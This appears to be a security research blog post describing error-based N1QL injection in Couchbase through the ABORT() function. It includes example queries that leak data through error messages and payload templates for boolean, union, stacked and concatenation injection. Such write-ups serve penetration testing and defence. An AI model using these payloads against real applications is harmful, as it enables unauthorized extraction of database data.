ABORT! ABORT! ABORT! Error-Based N1QL Injection

Since version 7.0 Couchbase have added the very useful ABORT() function that allows for error-based N1QL injection. In this post we will dig into what the function does and how we as attackers can use it for fun and profit.

The ABORT Function

Put simply the ABORT() function generates an error.

The exact error generated by the function depends on where it is used, but in all cases it returns an error message that contains the text specified by the expression passed to the function.

For example - the query SELECT ABORT("Oh no! Anyway...");, would return the following result:

[
  {
    "code": 5011,
    "msg": "Abort: \"Oh no! Anyway...\". - cause: \"Oh no! Anyway...\""
  }
]

The function is intended to be used for flow control within inline user-defined functions, ideally to return a useful error message when something has gone wrong.

Using It For Fun And Profit

Before we have a look at how this function makes exploiting N1QL injection vulnerabilities incredibly easy, there is one very minor thing that needs to be in place.

The target application MUST return the error messages!

If the application returns and Internal Server Error, or actually handles the error correctly then this method of injection cannot be used. That’s not to say the ABORT() function cannot be used to attack the server in other ways but it cannot be used to extract data from the Couchbase instance.

With that minor thing out of the way we can now move on to how we can use the function to our advantage.

Basic Usage

As defined in the documentation, the ABORT() function returns the text specified by the expression passed to the function. This means that we can pass in valid N1QL queries, which will then get executed and the result returned within the error message. More interestingly the value being returned does not need to be a valid string, the function is able to return JSON objects, arrays, numbers, basically anything that can be returned by a N1QL query.

Note: The ABORT() function and any included queries are executed with the permissions of the current user.

This means that all of the following function calls are valid and will return their respective data.

  • SELECT ABORT(1)
[
  {
    "code": 5011,
    "msg": "Abort: 1. - cause: 1"
  }
]
  • SELECT ABORT(null)
[
  {
    "code": 5011,
    "msg": "Abort: null. - cause: null"
  }
]
  • SELECT ABORT((SELECT * FROM system:namespaces))
[
  {
    "code": 5011,
    "msg": "Abort: [{\"namespaces\":{\"datastore_id\":\"http://127.0.0.1:8091\",\"id\":\"default\",\"name\":\"default\"}}]. - cause: [{\"namespaces\":{\"datastore_id\":\"http://127.0.0.1:8091\",\"id\":\"default\",\"name\":\"default\"}}]"
  }
]
  • SELECT ABORT(TOSTRING(BASE64_DECODE('f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAEDgDAAAAAAA=')))
[
  {
    "code": 5011,
    "msg": "Abort: ELF\u0002\u0001\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0003\u0000>\u0000\u0001\u0000\u0000\u0000\u00108\u0003\u0000\u0000\u0000\u0000\u0000. - cause: ELF\u0002\u0001\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0003\u0000>\u0000\u0001\u0000\u0000\u0000\u00108\u0003\u0000\u0000\u0000\u0000\u0000"
  }
]

Using It As Part Of An Injection Payload

So, how do we use it within our injection payloads? Simple, replace our usual conditional statements or select statements with it as shown below.

Boolean

SELECT 'felsec' WHERE 'vulnerable'='vulnerable' AND ABORT(<expression>)--

SELECT 'felsec' WHERE 'vulnerable'='notvulnerable' OR ABORT(<expression>)--

Union

SELECT 'felsec' WHERE 'vulnerable'='notvulnerable' UNION SELECT ABORT(<expression>)--

Stacked

SELECT 'felsec',(SELECT ABORT(<expression>))--

SELECT (SELECT * FROM `beer-sample` WHERE 'a'='a'),ABORT(<expression>)--

String Concatenation

SELECT 'felsec' WHERE 'vulnerable'='vulnerable'||CASE WHEN ABORT(<expresion>) THEN '' ELSE '1' END

Closing Thoughts

The ABORT() function makes Error-based N1QL injection a very powerful method for extracting data from the database, particularly in situations where error messages are returned and the only alternative method is Boolean-based or string concatenation.